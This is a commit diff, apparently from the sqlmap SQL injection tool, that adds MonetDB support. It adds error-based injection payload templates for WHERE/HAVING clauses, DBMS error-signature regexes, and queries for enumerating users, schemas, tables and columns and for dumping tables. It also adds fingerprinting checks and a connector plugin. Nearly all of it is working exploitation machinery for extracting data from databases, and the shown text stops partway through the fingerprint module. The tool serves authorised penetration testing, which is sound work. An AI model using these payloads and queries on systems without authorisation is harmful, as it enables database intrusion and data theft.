Adding support for MonetDB

2024-11-22 01:26:42 +03:00 · 2020-01-17 17:14:41 +01:00 · 2020-01-17 17:14:41 +01:00 · 1087396d88
commit 1087396d88
parent 1cfe370276
23 changed files with 460 additions and 18 deletions
--- a/data/xml/errors.xml
+++ b/data/xml/errors.xml
@ -169,4 +169,10 @@
    <dbms value="H2">
        <error regexp="org\.h2\.jdbc"/>
    </dbms>
+
+    <!-- MonetDB -->
+    <dbms value="MonetDB">
+        <error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
+        <error regexp="\[MonetDB\]\[ODBC Driver"/>
+    </dbms>
 </root>
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@ -704,6 +704,44 @@
            <dbms>Firebird</dbms>
        </details>
    </test>
+
+    <test>
+        <title>MonetDB AND error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MonetDB</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>MonetDB OR error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>3</risk>
+        <clause>1,9</clause>
+        <where>2</where>
+        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MonetDB</dbms>
+        </details>
+    </test>
    <!--
         TODO: if possible, add payload for SQLite, Microsoft Access,
         and SAP MaxDB - no known techniques at this time
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@ -531,7 +531,7 @@
        </roles>
        <statements/>
        <dump_table>
-            <inband query="SELECT %s FROM %%s"/>
+            <inband query="SELECT %s FROM %s"/>
            <blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
        </dump_table>
   </dbms>
@ -876,4 +876,70 @@
        <search_table/>
        <search_column/>
    </dbms>
+
+    <!-- MonetDB -->
+    <dbms value="MonetDB">
+        <cast query="CAST(%s AS VARCHAR(4000))"/>
+        <length query="LENGTH(%s)"/>
+        <isnull query="COALESCE(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="LIMIT %d OFFSET %d"/>
+        <limitregexp query="\s+LIMIT\s+([\d]+)\s*OFFSET\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="1"/>
+        <limitgroupstop query="2"/>
+        <limitstring query=" LIMIT "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--" query2="#"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
+        <concatenate query="CONCAT(%s,%s)"/>
+        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
+        <hex/>
+        <inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
+        <banner query="SELECT value FROM environment WHERE name='monet_version'"/>
+        <current_user query="CURRENT_USER"/>
+        <current_db query="SELECT CURRENT_SCHEMA" query2="SELECT value FROM environment WHERE name='gdk_dbname'"/>
+        <hostname/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba query="(SELECT grantor FROM auths WHERE name=CURRENT_USER)=0"/>
+        <check_udf/>
+        <users>
+            <inband query="SELECT name FROM sys.users"/>
+            <!-- NOTE: LIMIT %d OFFSET %d not supported inside subqueries -->
+            <blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.users)x WHERE x.y-1=%d" count="SELECT COUNT(name) FROM sys.users"/>
+        </users>
+        <passwords/>
+        <privileges/>
+        <roles/>
+        <statements/>
+        <dbs>
+            <inband query="SELECT name FROM schemas"/>
+            <blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.schemas)x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(name)) FROM schemas"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false"/>
+            <blind query="SELECT name FROM (SELECT tables.name,row_number() over() AS y FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s')x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT name,type FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s' AND tables.id=table_id)" condition="name"/>
+            <blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s'))x WHERE x.y-1=%d" query2="SELECT type FROM columns WHERE name='%s' AND table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" count="SELECT COUNT(name) FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" condition="name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s"/>
+            <blind query="SELECT z FROM (SELECT %s AS z,row_number() over() AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT schemas.name FROM schemas WHERE %s" condition="schemas.name"/>
+            <blind query="SELECT DISTINCT(schemas.name) FROM schemas WHERE %s" count="SELECT COUNT(DISTINCT(schemas.name)) FROM schemas WHERE %s" condition="schemas.name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" condition="tables.name" condition2="schemas.name"/>
+            <blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
+            <blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" count="SELECT COUNT(DISTINCT(schemas.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
+        </search_column>
+    </dbms>
 </root>
--- a/lib/controller/handler.py
+++ b/lib/controller/handler.py
@ -24,6 +24,7 @@ from lib.core.settings import DB2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
 from lib.core.settings import H2_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
+from lib.core.settings import MONETDB_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy

 from plugins.dbms.mssqlserver import MSSQLServerMap
@ -52,6 +53,8 @@ from plugins.dbms.h2 import H2Map
 from plugins.dbms.h2.connector import Connector as H2Conn
 from plugins.dbms.informix import InformixMap
 from plugins.dbms.informix.connector import Connector as InformixConn
+from plugins.dbms.monetdb import MonetDBMap
+from plugins.dbms.monetdb.connector import Connector as MonetDBConn

 def setHandler():
    """
@ -73,6 +76,7 @@ def setHandler():
        (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
        (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
        (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
+        (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
    ]

    _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@ -648,7 +648,7 @@ class Agent(object):
            elif fieldsNoSelect:
                concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)

-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB):
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
@ -941,6 +941,16 @@ class Agent(object):
            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
            limitedQuery += " %s" % limitStr

+        elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
+            if query.startswith("SELECT ") and field is not None and field in query:
+                original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
+                for part in original.split(','):
+                    if re.search(r"\b%s\b" % re.escape(field), part):
+                        _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
+                        replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
+                        limitedQuery = replacement
+                        break
+
        elif Backend.isDbms(DBMS.HSQLDB):
            match = re.search(r"ORDER BY [^ ]+", limitedQuery)
            if match:
--- a/lib/core/common.py
+++ b/lib/core/common.py
@ -147,6 +147,7 @@ from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_AMP_MARKER
 from lib.core.settings import PARAMETER_SEMICOLON_MARKER
+from lib.core.settings import PARAMETER_PERCENTAGE_MARKER
 from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
 from lib.core.settings import PARTIAL_VALUE_MARKER
 from lib.core.settings import PAYLOAD_DELIMITER
@ -2021,6 +2022,8 @@ def safeStringFormat(format_, params):
        if retVal.count("%s", start, end) == len(params):
            for param in params:
                index = retVal.find("%s", start)
+                if isinstance(param, six.string_types):
+                    param = param.replace('%', PARAMETER_PERCENTAGE_MARKER)
                retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
        else:
            if any('%s' in _ for _ in conf.parameters.values()):
@ -2046,7 +2049,7 @@ def safeStringFormat(format_, params):
                else:
                    break

-    retVal = getText(retVal)
+    retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%')

    return retVal

@ -4067,7 +4070,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
                retVal = "`%s`" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
+            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB):
                retVal = "\"%s\"" % retVal
            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
                retVal = "\"%s\"" % retVal.upper()
@ -4105,7 +4108,7 @@ def unsafeSQLIdentificatorNaming(name):
    if isinstance(name, six.string_types):
        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
            retVal = name.replace("`", "")
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB):
            retVal = name.replace("\"", "")
        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
            retVal = name.replace("\"", "").upper()
--- a/lib/core/dicts.py
+++ b/lib/core/dicts.py
@ -17,6 +17,7 @@ from lib.core.settings import H2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 from lib.core.settings import MAXDB_ALIASES
+from lib.core.settings import MONETDB_ALIASES
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
 from lib.core.settings import NULL
@ -198,6 +199,7 @@ DBMS_DICT = {
    DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
    DBMS.H2: (H2_ALIASES, None, None, None),
    DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
+    DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
 }

 FROM_DUMMY_TABLE = {
--- a/lib/core/dump.py
+++ b/lib/core/dump.py
@ -166,7 +166,7 @@ class Dump(object):
    def currentDb(self, data):
        if Backend.isDbms(DBMS.MAXDB):
            self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
-        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
+        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB):
            self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
        else:
            self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
--- a/lib/core/enums.py
+++ b/lib/core/enums.py
@ -45,6 +45,7 @@ class DBMS(object):
    HSQLDB = "HSQLDB"
    H2 = "H2"
    INFORMIX = "Informix"
+    MONETDB = "MonetDB"

 class DBMS_DIRECTORY_NAME(object):
    ACCESS = "access"
@ -60,6 +61,7 @@ class DBMS_DIRECTORY_NAME(object):
    HSQLDB = "hsqldb"
    H2 = "h2"
    INFORMIX = "informix"
+    MONETDB = "monetdb"

 class CUSTOM_LOGGING(object):
    PAYLOAD = 9
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr

 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.4.1.25"
+VERSION = "1.4.1.26"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@ -60,6 +60,7 @@ UPPER_RATIO_BOUND = 0.98
 PARAMETER_AMP_MARKER = "__AMP__"
 PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
 BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
+PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__"
 PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
 PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
 URI_QUESTION_MARKER = "__QUESTION_MARK__"
@ -257,6 +258,7 @@ DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "
 HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
 H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
+MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")

 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
 MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
@ -265,19 +267,20 @@ ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
 SQLITE_ALIASES = ("sqlite", "sqlite3")
 ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
 FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
-MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
+MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
 SYBASE_ALIASES = ("sybase", "sybase sql server")
 DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
 HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
 H2_ALIASES = ("h2",)
 INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
+MONETDB_ALIASES = ("monet", "monetdb",)

 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))

-SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
+SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES
 SUPPORTED_OS = ("linux", "windows")

-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES))

 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@ -105,10 +105,12 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
        if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):

            if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
-                expression = "SELECT %s FROM (%s)" % (field, expression)
-
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
-                    expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression))
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB):
+                    alias = randomStr(lowercase=True, seed=hash(expression))
+                    expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression)  # Note: MonetDB as a prime example
+                    expression += " AS %s" % alias
+                else:
+                    expression = "SELECT %s FROM (%s)" % (field, expression)

            if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
                nulledCastedField = agent.nullAndCastField(field)
--- a/lib/utils/deps.py
+++ b/lib/utils/deps.py
@ -46,6 +46,8 @@ def checkDependencies():
                __import__("jpype")
            elif dbmsName == DBMS.INFORMIX:
                __import__("ibm_db_dbi")
+            elif dbmsName == DBMS.MONETDB:
+                __import__("pymonetdb")
        except:
            warnMsg = "sqlmap requires '%s' third-party library " % data[1]
            warnMsg += "in order to directly connect to the DBMS "
--- a/plugins/dbms/db2/enumeration.py
+++ b/plugins/dbms/db2/enumeration.py
@ -10,7 +10,7 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration

 class Enumeration(GenericEnumeration):
    def getPasswordHashes(self):
-        warnMsg = "on DB2 it is not possible to list password hashes"
+        warnMsg = "on DB2 it is not possible to enumerate password hashes"
        logger.warn(warnMsg)

        return {}
--- a/plugins/dbms/h2/enumeration.py
+++ b/plugins/dbms/h2/enumeration.py
@ -43,7 +43,7 @@ class Enumeration(GenericEnumeration):
        return H2_DEFAULT_SCHEMA

    def getPasswordHashes(self):
-        warnMsg = "on H2 it is not possible to list password hashes"
+        warnMsg = "on H2 it is not possible to enumerate password hashes"
        logger.warn(warnMsg)

        return {}
--- a/plugins/dbms/monetdb/init.py
+++ b/plugins/dbms/monetdb/init.py
@ -0,0 +1,30 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.enums import DBMS
+from lib.core.settings import MONETDB_SYSTEM_DBS
+from lib.core.unescaper import unescaper
+
+from plugins.dbms.monetdb.enumeration import Enumeration
+from plugins.dbms.monetdb.filesystem import Filesystem
+from plugins.dbms.monetdb.fingerprint import Fingerprint
+from plugins.dbms.monetdb.syntax import Syntax
+from plugins.dbms.monetdb.takeover import Takeover
+from plugins.generic.misc import Miscellaneous
+
+class MonetDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
+    """
+    This class defines MonetDB methods
+    """
+
+    def __init__(self):
+        self.excludeDbsList = MONETDB_SYSTEM_DBS
+
+        for cls in self.__class__.__bases__:
+            cls.__init__(self)
+
+    unescaper[DBMS.MONETDB] = Syntax.escape
--- a/plugins/dbms/monetdb/connector.py
+++ b/plugins/dbms/monetdb/connector.py
@ -0,0 +1,59 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+try:
+    import pymonetdb
+except:
+    pass
+
+import logging
+
+from lib.core.common import getSafeExString
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.exception import SqlmapConnectionException
+from plugins.generic.connector import Connector as GenericConnector
+
+class Connector(GenericConnector):
+    """
+    Homepage: https://github.com/gijzelaerr/pymonetdb
+    User guide: https://pymonetdb.readthedocs.io/en/latest/index.html
+    API: https://www.python.org/dev/peps/pep-0249/
+    License: Mozilla Public License 2.0
+    """
+
+    def connect(self):
+        self.initConnection()
+
+        try:
+            self.connector = pymonetdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout)
+        except pymonetdb.OperationalError as ex:
+            raise SqlmapConnectionException(getSafeExString(ex))
+
+        self.initCursor()
+        self.printConnected()
+
+    def fetchall(self):
+        try:
+            return self.cursor.fetchall()
+        except pymonetdb.ProgrammingError as ex:
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
+            return None
+
+    def execute(self, query):
+        try:
+            self.cursor.execute(query)
+        except (pymonetdb.OperationalError, pymonetdb.ProgrammingError) as ex:
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
+        except pymonetdb.InternalError as ex:
+            raise SqlmapConnectionException(getSafeExString(ex))
+
+        self.connector.commit()
+
+    def select(self, query):
+        self.execute(query)
+        return self.fetchall()
--- a/plugins/dbms/monetdb/enumeration.py
+++ b/plugins/dbms/monetdb/enumeration.py
@ -0,0 +1,34 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.data import logger
+from plugins.generic.enumeration import Enumeration as GenericEnumeration
+
+class Enumeration(GenericEnumeration):
+    def getPasswordHashes(self):
+        warnMsg = "on MonetDB it is not possible to enumerate password hashes"
+        logger.warn(warnMsg)
+
+        return {}
+
+    def getStatements(self):
+        warnMsg = "on MonetDB it is not possible to enumerate the SQL statements"
+        logger.warn(warnMsg)
+
+        return []
+
+    def getPrivileges(self, *args, **kwargs):
+        warnMsg = "on MonetDB it is not possible to enumerate the user privileges"
+        logger.warn(warnMsg)
+
+        return {}
+
+    def getRoles(self, *args, **kwargs):
+        warnMsg = "on MonetDB it is not possible to enumerate the user roles"
+        logger.warn(warnMsg)
+
+        return {}
--- a/plugins/dbms/monetdb/filesystem.py
+++ b/plugins/dbms/monetdb/filesystem.py
@ -0,0 +1,11 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from plugins.generic.filesystem import Filesystem as GenericFilesystem
+
+class Filesystem(GenericFilesystem):
+    pass
--- a/plugins/dbms/monetdb/fingerprint.py
+++ b/plugins/dbms/monetdb/fingerprint.py
@ -0,0 +1,107 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.common import Backend
+from lib.core.common import Format
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.enums import DBMS
+from lib.core.session import setDbms
+from lib.core.settings import MONETDB_ALIASES
+from lib.request import inject
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
+
+class Fingerprint(GenericFingerprint):
+    def __init__(self):
+        GenericFingerprint.__init__(self, DBMS.MONETDB)
+
+    def getFingerprint(self):
+        value = ""
+        wsOsFp = Format.getOs("web server", kb.headersFp)
+
+        if wsOsFp:
+            value += "%s\n" % wsOsFp
+
+        if kb.data.banner:
+            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
+
+            if dbmsOsFp:
+                value += "%s\n" % dbmsOsFp
+
+        value += "back-end DBMS: "
+
+        if not conf.extensiveFp:
+            value += DBMS.MONETDB
+            return value
+
+        actVer = Format.getDbms()
+        blank = " " * 15
+        value += "active fingerprint: %s" % actVer
+
+        if kb.bannerFp:
+            banVer = kb.bannerFp.get("dbmsVersion")
+
+            if banVer:
+                banVer = Format.getDbms([banVer])
+                value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+        htmlErrorFp = Format.getErrorParsedDBMSes()
+
+        if htmlErrorFp:
+            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+
+        return value
+
+    def checkDbms(self):
+        if not conf.extensiveFp and Backend.isDbmsWithin(MONETDB_ALIASES):
+            setDbms(DBMS.MONETDB)
+
+            self.getBanner()
+
+            return True
+
+        infoMsg = "testing %s" % DBMS.MONETDB
+        logger.info(infoMsg)
+
+        result = inject.checkBooleanExpression("isaurl(NULL)=false")
+
+        if result:
+            infoMsg = "confirming %s" % DBMS.MONETDB
+            logger.info(infoMsg)
+
+            result = inject.checkBooleanExpression("CODE(0) IS NOT NULL")
+
+            if not result:
+                warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB
+                logger.warn(warnMsg)
+
+                return False
+
+            setDbms(DBMS.MONETDB)
+
+            self.getBanner()
+
+            if not conf.extensiveFp:
+                return True
+
